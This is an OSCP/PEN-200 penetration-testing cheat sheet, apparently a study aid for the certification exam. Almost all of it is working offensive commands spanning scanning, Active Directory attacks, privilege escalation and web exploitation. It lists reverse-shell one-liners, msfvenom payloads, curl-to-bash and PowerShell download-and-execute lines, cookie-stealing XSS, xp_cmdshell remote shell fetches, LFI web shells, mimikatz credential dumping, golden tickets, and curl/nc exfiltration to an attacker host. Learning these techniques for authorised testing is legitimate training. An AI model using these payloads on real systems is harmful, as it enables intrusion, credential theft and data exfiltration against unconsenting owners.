

OSCP / PEN-200

Complete Command Reference

Penetration Testing with Kali Linux

Enumeration | Exploitation | Post-Exploitation | AD | Web | PrivEsc

1. RECONNAISSANCE & ENUMERATION

► 1.1 Network Scanning – Nmap

```
# Host Discovery
nmap -sn 192.168.1.0/24                # Ping sweep
nmap -sn -PS80,443 192.168.1.0/24    # TCP SYN ping sweep

# Port Scanning
nmap -sV -sC -O -p- -T4 <target>      # Full scan (all ports)
nmap -sS -sV -sC -p 1-65535 --open <target> # Stealth SYN scan
nmap -sU -p 161,69,123 <target>        # UDP common ports
nmap -p 80,443,8080,8443 <target>      # Specific ports

# Output & Scripts
nmap -oA scan_output <target>         # Save all formats
nmap --script vuln <target>           # Vuln scripts
nmap --script http-enum <target>      # HTTP enumeration
nmap --script smb-vuln* <target>      # SMB vulns
nmap --script=banner <target>         # Banner grabbing
```

► 1.2 Web Enumeration

Directory & File Brute-forcing:

```
gobuster dir -u http://<target> -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt
gobuster dir -u http://<target> -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt
feroxbuster -u http://<target> -w /usr/share/wordlists/dirb/common.txt
dirb http://<target> /usr/share/wordlists/dirb/common.txt
wfuzz -c -w /usr/share/wordlists/rockyou.txt --hc 404 http://<target>/FUZZ

# Subdomain fuzzing
gobuster vhost -u http://<target> -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
wfuzz -c -H 'Host: FUZZ.<target>' -w subdomains.txt --hc 302 http://<target>
```

OSCP COMMANDS (CYBER PUBLIC SCHOOL)

```
ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u  
http://FUZZ.<target>
```

► 1.3 DNS Enumeration

```
host <domain> # Basic lookup  
host -t mx <domain> # Mail records  
host -t ns <domain> # Nameservers  
host -t axfr <domain> <ns> # Zone transfer  
dig axfr <domain> @<nameserver> # Zone transfer (dig)  
dnsrecon -d <domain> -t axfr # Zone transfer tool  
dnsrecon -d <domain> -D /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt  
-t brt  
dnsenum <domain>
```

► 1.4 SMB Enumeration

```
# Enumerate shares  
smbclient -L //<target> -N # List shares (null session)  
smbclient //<target>/share -N # Connect null  
smbclient //<target>/share -U user%password  
  
# Enumerate users/info  
enum4linux -a <target> # Full enum  
enum4linux-ng -A <target>  
smbmap -H <target> # Map shares  
smbmap -H <target> -u user -p password -r # Recursive list  
crackmapexec smb <target> --shares -u '' -p '' # CrackMapExec  
crackmapexec smb <target> -u users.txt -p pass.txt --continue-on-success  
rpcclient -U '' <target> # RPC null session  
  > enumdomusers # Enum domain users  
  > enumdomgroups # Enum groups  
  > queryuser <RID> # Query user  
impacket-lookupsid anonymous@<target> # SID brute-force
```

► 1.5 LDAP Enumeration (Active Directory)

```
ldapsearch -x -H ldap://<DC> -b 'dc=domain,dc=com' -s sub '(objectClass=*)'  
ldapsearch -x -H ldap://<DC> -b 'dc=domain,dc=com' '(objectClass=person)' sAMAccountName  
ldapsearch -x -H ldap://<DC> -D 'user@domain.com' -w 'password' -b 'dc=domain,dc=com'  
  
# WindapSearch  
windapsearch -d domain.com --dc <DC_IP> -U # All users  
windapsearch -d domain.com --dc <DC_IP> -G # All groups  
windapsearch -d domain.com --dc <DC_IP> --da # Domain admins
```

2. VULNERABILITY SCANNING

► 2.1 Nikto & Web Scanners

```
nikto -h http://<target> # Web vulnerability scan
```

```
nikto -h http://<target> -ssl # HTTPS
nikto -h http://<target> -o nikto_out.html -Format htm
whatweb http://<target> # Tech fingerprint
wafw00f http://<target> # WAF detection
```

► 2.2 Searchsploit & Exploit-DB

```
searchsploit <service> <version> # Search exploits
searchsploit -m <exploit-id> # Copy to current dir
searchsploit -x <exploit-id> # Examine exploit
searchsploit --cve 2021-41773 # Search by CVE
searchsploit apache 2.4 # Search by software
```

3. EXPLOITATION

► 3.1 Metasploit Framework

```
msfconsole # Start MSF
search <exploit/module> # Search modules
use <module> # Use module
show options # Show options
set RHOSTS <target> # Set target
set LHOST <attacker> # Set attacker IP
set LPORT 4444 # Set listen port
set PAYLOAD windows/x64/meterpreter/reverse_tcp # Set payload
run / exploit # Run exploit

# Useful MSF commands
sessions -l # List sessions
sessions -i <id> # Interact with session
sessions -u <id> # Upgrade to meterpreter
background / bg # Background session
use post/multi/recon/local_exploit_suggester # PrivEsc suggester
```

► 3.2 Reverse Shells

⚡ **NOTE:** Replace <IP> and <PORT> with your attacker IP and listener port

```
# Bash
bash -i >& /dev/tcp/<IP>/<PORT> 0>&1
bash -c 'bash -i >& /dev/tcp/<IP>/<PORT> 0>&1'

# Python
python3 -c 'import
socket,subprocess,os;s=socket.socket();s.connect(("<IP>",<PORT>));os.dup2(s.fileno(),0);o
s.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'

# Netcat
nc <IP> <PORT> -e /bin/bash
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <IP> <PORT> >/tmp/f

# PHP
php -r '$sock=fsockopen("<IP>",<PORT>");exec("/bin/sh -i <&3 >&3 2>&3");'
```

```
# PowerShell
powershell -e <base64_encoded_payload>
$client = New-Object System.Net.Sockets.TCPClient('<IP>,<PORT>');$stream =
$client.GetStream();...

# MSFvenom Payloads
msfvenom -p linux/x64/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f elf -o shell.elf
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe -o shell.exe
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe -o
meter.exe
msfvenom -p php/reverse_php LHOST=<IP> LPORT=<PORT> -f raw -o shell.php
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f raw -o shell.jsp

# Listeners
nc -lvnp <PORT>                                # Netcat listener
rlwrap nc -lvnp <PORT>                          # With readline
msfconsole -x 'use multi/handler; set payload ...; set LHOST ...; run'
```

► 3.3 Shell Stabilization (TTY Upgrade)

```
# Method 1: Python
python3 -c 'import pty;pty.spawn("/bin/bash")'
Ctrl+Z
stty raw -echo; fg
reset
export TERM=xterm; export SHELL=bash
stty rows 40 cols 200

# Method 2: Script
script /dev/null -c bash

# Method 3: socat
# Attacker: socat file:`tty`,raw,echo=0 tcp-listen:<PORT>
# Target: socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:<IP>:<PORT>
```

4. FILE TRANSFER

► 4.1 Linux File Transfer

```
# HTTP Server (attacker side)
python3 -m http.server 8080
php -S 0.0.0.0:8080

# Download on target (Linux)
wget http://<IP>:8080/file.sh -O /tmp/file.sh
curl http://<IP>:8080/file.sh -o /tmp/file.sh
curl http://<IP>:8080/file.sh | bash

# SCP
scp file user@<target>:/tmp/file
scp user@<target>:/tmp/file ./local_file
```

```
# Netcat
nc -lvnp 4444 > received_file          # Receiver
nc <IP> 4444 < file_to_send            # Sender
```

► 4.2 Windows File Transfer

```
# PowerShell download
IEX(New-Object Net.WebClient).DownloadString('http://<IP>/shell.ps1')
Invoke-WebRequest -Uri 'http://<IP>/file.exe' -OutFile 'C:\Windows\Temp\file.exe'
(New-Object System.Net.WebClient).DownloadFile('http://<IP>/file.exe', 'C:\Temp\file.exe')
certutil -urlcache -f http://<IP>/file.exe file.exe
bitsadmin /transfer job /download /priority high http://<IP>/file.exe C:\Temp\file.exe

# SMB share (attacker)
impacket-smbserver share . -smb2support
# Copy from Windows:
copy \\<IP>\share\file.exe C:\Temp\
net use z: \\<IP>\share; copy z:\file.exe C:\Temp\
```

5. PRIVILEGE ESCALATION

► 5.1 Linux PrivEsc Enumeration

```
# Quick wins
id && whoami          # Current user
sudo -l              # Sudo permissions
cat /etc/passwd | grep -v nologin  # User accounts
cat /etc/shadow       # (if readable)
cat /etc/crontab       # Cron jobs
crontab -l            # User crontab
ls -la /etc/cron*     # All cron dirs

# SUID/SGID
find / -perm -u=s -type f 2>/dev/null  # SUID files
find / -perm -g=s -type f 2>/dev/null  # SGID files

# Writable files
find / -writable -type f 2>/dev/null | grep -v proc
find / -writable -type d 2>/dev/null

# Capabilities
getcap -r / 2>/dev/null

# Running services
ps aux
netstat -tulnp / ss -tulnp

# Kernel version
uname -a && cat /etc/os-release

# Automated tools
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh |
bash
```

```
./linpeas.sh -a > linpeas_out.txt
./lse.sh -l 1
./linux-exploit-suggester.sh
```

► 5.2 Linux PrivEsc Techniques

```
# GTFOBins - check https://gtfobins.github.io

# Sudo abuse
sudo find . -exec /bin/sh \; -quit          # find
sudo vim -c ':%!bin/sh'                    # vim
sudo python3 -c 'import os;os.system("/bin/sh")' # python
sudo awk 'BEGIN {system("/bin/sh")}'        # awk

# SUID abuse
./suid_binary -exec /bin/sh -p \; 2>/dev/null

# Cron job abuse (writable script)
echo 'chmod +s /bin/bash' >> /path/to/cron_script.sh
/bin/bash -p                               # After cron runs

# PATH hijacking
export PATH=/tmp:$PATH
echo '/bin/bash -p' > /tmp/service; chmod +x /tmp/service

# LD_PRELOAD abuse (sudo -l shows env_keep+=LD_PRELOAD)
# Compile: gcc -fPIC -shared -o /tmp/shell.so shell.c -nostartfiles
sudo LD_PRELOAD=/tmp/shell.so <allowed_cmd>

# Docker group
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
```

► 5.3 Windows PrivEsc Enumeration

```
# System info
systeminfo
hostname && whoami
whoami /priv                                # Current privileges
whoami /groups                              # Group memberships
net user && net localgroup administrators
ipconfig /all

# Running processes & services
tasklist /SVC
sc query state= all
Get-Service | Where-Object {$_.Status -eq 'Running'}

# Installed software
wmic product get name,version
Get-WmiObject -Class Win32_Product | Select-Object Name,Version
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall

# Scheduled tasks
schtasks /query /fo LIST /v
```

```
Get-ScheduledTask

# AlwaysInstallElevated check (both must be 0x1)
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

# Automated tools
.\winPEAS.exe > winpeas_out.txt
.\PowerUp.ps1; Invoke-AllChecks
.\Seatbelt.exe -group=all
IEX(New-Object Net.WebClient).DownloadString('http://<IP>/PowerUp.ps1'); Invoke-AllChecks
```

► 5.4 Windows PrivEsc Techniques

```
# Token Impersonation (SeImpersonatePrivilege)
.\PrintSpoofer64.exe -i -c cmd
.\GodPotato-NET4.exe -cmd 'cmd /c whoami'
.\JuicyPotatoNG.exe -t * -p C:\Windows\System32\cmd.exe -a '/c whoami'
# Meterpreter: getsystem

# Unquoted service path
wmic service get name,displayname,pathname,startmode | findstr /i 'auto' | findstr /i /v 'c:\windows'
sc start <vulnerable_service>

# Weak service permissions
.\accesschk.exe -ucqv <service>
sc config <service> binPath= 'C:\Temp\shell.exe'
sc stop <service>; sc start <service>

# AlwaysInstallElevated
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f msi -o shell.msi
msiexec /quiet /qn /i C:\Temp\shell.msi

# Password in registry/files
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s
findstr /si password *.txt *.ini *.config
dir /s *pass* *cred* *vnc* *.config 2>nul
```

6. ACTIVE DIRECTORY ATTACKS

► 6.1 AD Enumeration with BloodHound

```
# Collect data (SharpHound)
.\SharpHound.exe -c All --zipfilename bloodhound.zip
.\SharpHound.exe -c DCOOnly

# Remote collection (BloodHound.py)
bloodhound-python -u user -p password -d domain.com -dc <DC_IP> -c All
bloodhound-python -u user -p '' -d domain.com --dc <DC_IP> -c All --auth-method kerberos

# Start BloodHound
```

```
neo4j console &  
bloodhound &  
# Upload zip → Analysis → Find all DA paths
```

► 6.2 Kerberos Attacks

```
# ASREProasting (accounts without pre-auth)  
impacket-GetNPUsers domain.com/ -usersfile users.txt -no-pass -dc-ip <DC>  
impacket-GetNPUsers domain.com/user:pass -request -dc-ip <DC>  
.\ Rubeus.exe asreproast /nowrap  
hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt  
  
# Kerberoasting (SPNs)  
impacket-GetUserSPNs domain.com/user:password -dc-ip <DC> -request  
.\Rubeus.exe kerberoast /nowrap  
hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt  
  
# Pass-the-Ticket  
.\Rubeus.exe dump /service:krbtgt /nowrap  
.\Rubeus.exe ptt /ticket:<base64>  
klist # Verify ticket  
  
# Overpass-the-Hash (Pass-the-Key)  
.\Rubeus.exe asktgt /user:user /rc4:<NTLM_hash> /ptt  
impacket-getTGT domain.com/user -hashes :NTLMhash  
export KRB5CCNAME=user.ccache
```

► 6.3 Pass-the-Hash & Lateral Movement

```
# Pass-the-Hash  
crackmapexec smb <target> -u admin -H <NTLM_hash>  
impacket-psexec domain/admin@<target> -hashes :NTLMhash  
impacket-wmiexec domain/admin@<target> -hashes :NTLMhash  
impacket-smbexec domain/admin@<target> -hashes :NTLMhash  
  
# Remote execution  
evil-winrm -i <target> -u admin -p password  
evil-winrm -i <target> -u admin -H NTLMhash  
impacket-psexec domain/admin:password@<target>  
impacket-wmiexec domain/admin:password@<target>  
  
# Dumping credentials  
impacket-secretsdump domain/admin:pass@<target> # Remote dump  
impacket-secretsdump -ntds ntds.dit -system SYSTEM LOCAL # Offline  
.\mimikatz.exe 'privilege::debug' 'sekurlsa::logonpasswords' exit  
.\mimikatz.exe 'privilege::debug' 'lsadump::sam' exit  
.\mimikatz.exe 'privilege::debug' 'lsadump::dcsync /user:krbtgt' exit
```

► 6.4 DCSync & Domain Dominance

```
# DCSync (requires DA or Replication rights)  
impacket-secretsdump -just-dc domain/admin:pass@<DC>  
.\mimikatz.exe 'lsadump::dcsync /domain:domain.com /user:Administrator' exit
```

```
# Golden Ticket
.\mimikatz.exe 'kerberos::golden /user:Administrator /domain:domain.com /sid:<domain_SID> /krbtgt:<NTLM> /ptt' exit

# Silver Ticket
.\mimikatz.exe 'kerberos::golden /user:user /domain:domain.com /sid:<SID> /target:host.domain.com /service:cifs /rc4:<machine_NTLM> /ptt' exit

# Get Domain SID
impacket-lookupsid domain/user:pass@<DC>
Get-ADDomain | Select-Object -ExpandProperty DomainSID
```

7. WEB APPLICATION ATTACKS

► 7.1 SQL Injection

```
# Manual testing
' OR '1'='1
' OR 1=1--
admin'--
' UNION SELECT NULL,NULL,NULL--
' UNION SELECT 1,username,password FROM users--

# SQLMap
sqlmap -u 'http://<target>/page.php?id=1' --dbs
sqlmap -u 'http://<target>/page.php?id=1' -D <db> --tables
sqlmap -u 'http://<target>/page.php?id=1' -D <db> -T users --dump
sqlmap -u 'http://<target>/page.php?id=1' --os-shell
sqlmap -r request.txt --level=5 --risk=3 --batch

# MSSQL command execution
'; EXEC xp_cmdshell('whoami')--
'; EXEC xp_cmdshell('powershell -c IEX(iwr http://<IP>/shell.ps1)')--
```

► 7.2 Command Injection & LFI/RFI

```
# Command injection
; id
| id
& id
&& id
$(id)
`id`

# LFI
?file=../../../../etc/passwd
?file=../../../../etc/shadow
?file=../../../../proc/self/environ
?file=php://filter/convert.base64-encode/resource=index.php
?file=php://input (+ POST: <?php system($_GET['cmd']); ?>)

# Log poisoning (LFI → RCE)
```

OSCP COMMANDS (CYBER PUBLIC SCHOOL)

```
# Inject PHP into User-Agent: <?php system($_GET['cmd']); ?>
?file=../../../../../../var/log/apache2/access.log&cmd=id

# RFI (allow_url_include=On required)
?file=http://<attacker>/shell.php
?file=\\<attacker>\share\shell.php
```

► 7.3 XSS & CSRF

```
# Basic XSS payloads
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
"><script>alert(1)</script>

# Cookie stealing
<script>document.location='http://<IP>/steal?c='+document.cookie</script>

# XSS to SSRF / internal
<script>fetch('http://169.254.169.254/latest/meta-data/')</script>
```

8. PASSWORD ATTACKS

► 8.1 Offline Cracking

```
# Hashcat
hashcat -m 0 hash.txt rockyou.txt          # MD5
hashcat -m 100 hash.txt rockyou.txt         # SHA1
hashcat -m 1000 hash.txt rockyou.txt        # NTLM
hashcat -m 1800 hash.txt rockyou.txt        # SHA512crypt
hashcat -m 1500 hash.txt rockyou.txt        # DES (crypt)
hashcat -m 3200 hash.txt rockyou.txt        # bcrypt
hashcat -m 13100 hash.txt rockyou.txt       # Kerberos TGS
hashcat -m 18200 hash.txt rockyou.txt       # Kerberos AS-REP

# Modes
hashcat -a 0 -m <mode> hash.txt wordlist.txt # Dictionary
hashcat -a 3 -m <mode> hash.txt ?a?a?a?a?a   # Brute-force mask
hashcat -a 6 -m <mode> hash.txt wordlist.txt ?d?d?d # Hybrid

# John the Ripper
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
john hash.txt --format=NT --wordlist=rockyou.txt
john hash.txt --show                        # Show cracked
unshadow /etc/passwd /etc/shadow > combined.txt; john combined.txt
```

► 8.2 Online / Service Attacks

```
# Hydra
hydra -l admin -P rockyou.txt ssh://<target>
hydra -L users.txt -P pass.txt ftp://<target>
hydra -l admin -P rockyou.txt http-post-form '/login:user=^USER^&pass=^PASS^:Invalid'
```

```
hydra -l admin -P rockyou.txt rdp://<target>
hydra -L users.txt -P pass.txt smb://<target>

# Medusa
medusa -h <target> -u admin -P rockyou.txt -M ssh

# CrackMapExec
crackmapexec ssh <target_range> -u admin -P rockyou.txt
crackmapexec smb <target_range> -u admin -p password
crackmapexec winrm <target> -u admin -p password
```

9. POST EXPLOITATION

► 9.1 Meterpreter

```
sysinfo # System info
getuid && getpid
getsystem # PrivEsc attempt
hashdump # Dump hashes
migrate <pid> # Migrate process
load kiwi # Load Mimikatz
  creds_all # All credentials
  lsa_dump_sam # SAM dump
shell # Interactive shell
upload /local/file C:\Windows\Temp\file
download C:\Windows\Temp\file /local/
screenshare # Live screenshot
keyscan_start && keyscan_dump
run post/multi/recon/local_exploit_suggester
portfwd add -l 3389 -p 3389 -r <target> # Port forward
route add 10.10.10.0/24 <session_id> # Route through session
run auxiliary/scanner/portscan/tcp RHOSTS=10.10.10.0/24
```

► 9.2 Pivoting & Tunneling

```
# SSH Tunneling
ssh -L <local_port>:<remote_host>:<remote_port> user@<jumphost> # Local fwd
ssh -R <remote_port>:localhost:<local_port> user@<jumphost> # Remote fwd
ssh -D 1080 user@<jumphost> # SOCKS proxy
proxychains nmap -sV -p 80,443 <internal_host>

# Chisel
# Attacker: ./chisel server -p 8000 --reverse
# Target: ./chisel client <attacker>:8000 R:socks
# Then use proxychains

# Ligolo-ng
# Attacker: ./proxy -selfcert
# Target: ./agent -connect <attacker>:11601 -ignore-cert
# Attacker UI: session → start → add route

# Socat
socat TCP-LISTEN:8080,fork TCP:<internal>:80 # Port relay
```

OSCP COMMANDS (CYBER PUBLIC SCHOOL)

```
socat TCP-LISTEN:4444,fork EXEC:/bin/bash # Bind shell
```

► 9.3 Data Exfiltration

```
# Linux
cat /etc/passwd | base64 | curl -X POST http://<attacker>/exfil -d @-
tar czf - /sensitive/ | nc <attacker> 4444

# Windows
Compress-Archive C:\sensitive\ C:\Temp\out.zip
certutil -encode C:\Temp\file.exe encoded.txt && type encoded.txt
powershell -c '(New-Object System.Net.WebClient).UploadFile("http://<IP>/upload","C:\file.txt")'
```

10. USEFUL TOOLS QUICK REFERENCE

► 10.1 Impacket Suite

Command	Description
<code>impacket-psexec</code>	Remote cmd execution (admin/SMB)
<code>impacket-wmiexec</code>	WMI-based remote execution
<code>impacket-smbexec</code>	SMB execution (no file drop)
<code>impacket-secretsdump</code>	Dump credentials remotely/locally
<code>impacket-GetNPUsers</code>	AS-REP Roasting (no pre-auth accts)
<code>impacket-GetUserSPNs</code>	Kerberoasting (get TGS tickets)
<code>impacket-ticketer</code>	Create Golden/Silver tickets
<code>impacket-smbserver</code>	Host SMB share from Kali
<code>impacket-lookupsid</code>	SID/user brute-force via RPC
<code>impacket-mssqlclient</code>	MSSQL remote client

► 10.2 CrackMapExec

Command	Description
<code>crackmapexec smb <IP></code>	SMB fingerprint / null auth
<code>... -u user -p pass --shares</code>	List shares with creds
<code>... -u user -p pass --sam</code>	Dump SAM hashes
<code>... -u user -p pass --lsa</code>	Dump LSA secrets
<code>... -u user -p pass -x cmd</code>	Execute command via SMB
<code>... -u user -H hash --local-auth</code>	PTH with local admin
<code>crackmapexec winrm <IP> -u u -p p</code>	WinRM auth check

► 10.3 Common Wordlists (Kali)

Command	Description
<code>/usr/share/wordlists/rockyou.txt</code>	General password cracking
<code>/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt</code>	Web directory fuzzing
<code>/usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-10000.txt</code>	Top passwords
<code>/usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt</code>	DNS brute-force
<code>/usr/share/seclists/Usernames/Names/names.txt</code>	Username list
<code>/usr/share/seclists/Web-Shells/</code>	Web shells

11. BUFFER OVERFLOW (Windows x86)

► 11.1 BOF Methodology

Follow this sequence for every Windows stack-based BOF:

```
# Step 1: Spiking - find vulnerable parameter
generic_send_tcp <IP> <PORT> spike_script.spk 0 0

# Step 2: Fuzzing - determine crash offset range
python3 fuzzer.py

# Step 3: Find offset
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l <length>
# Send pattern → crash → get EIP value
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q <EIP_value>

# Step 4: Overwrite EIP (confirm with 'BBBB' = 42424242)

# Step 5: Find bad chars
# Send all chars 0x01-0xff and compare in Immunity/mona
!mona bytearray -b '\x00'
!mona compare -f C:\mona\bytearray.bin -a <ESP address>

# Step 6: Find JMP ESP
!mona jmp -r esp -cpb '\x00'
# Note address → convert to little-endian → set as return

# Step 7: Generate payload
msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> EXITFUNC=thread -b '\x00' -f py

# Step 8: Send exploit with NOP sled + shellcode
payload = b'\x90' * 16 + shellcode
```

12. REPORT WRITING TIPS

OSCP exam report must be submitted within 24 hours after exam. Include:

For each compromised machine:

1. High-level summary (vulnerability exploited)
2. Enumeration steps with screenshots
3. Exploitation proof-of-concept steps
4. Local.txt / Proof.txt screenshot showing: hostname, whoami, cat local.txt/proof.txt
5. Post-exploitation steps (if applicable)

Screenshot requirements:

- Every flag must show IP address (ipconfig/ifconfig) + flag content in same screenshot
- Run: `ip a && whoami && cat local.txt`
- Run: `ip a && whoami && cat proof.txt`

Flags location (common):

Linux: `/home/<user>/local.txt` and `/root/proof.txt`
Windows: `C:\Users\<user>\Desktop\local.txt` and
`C:\Users\Administrator\Desktop\proof.txt`

Try Harder. Good Luck!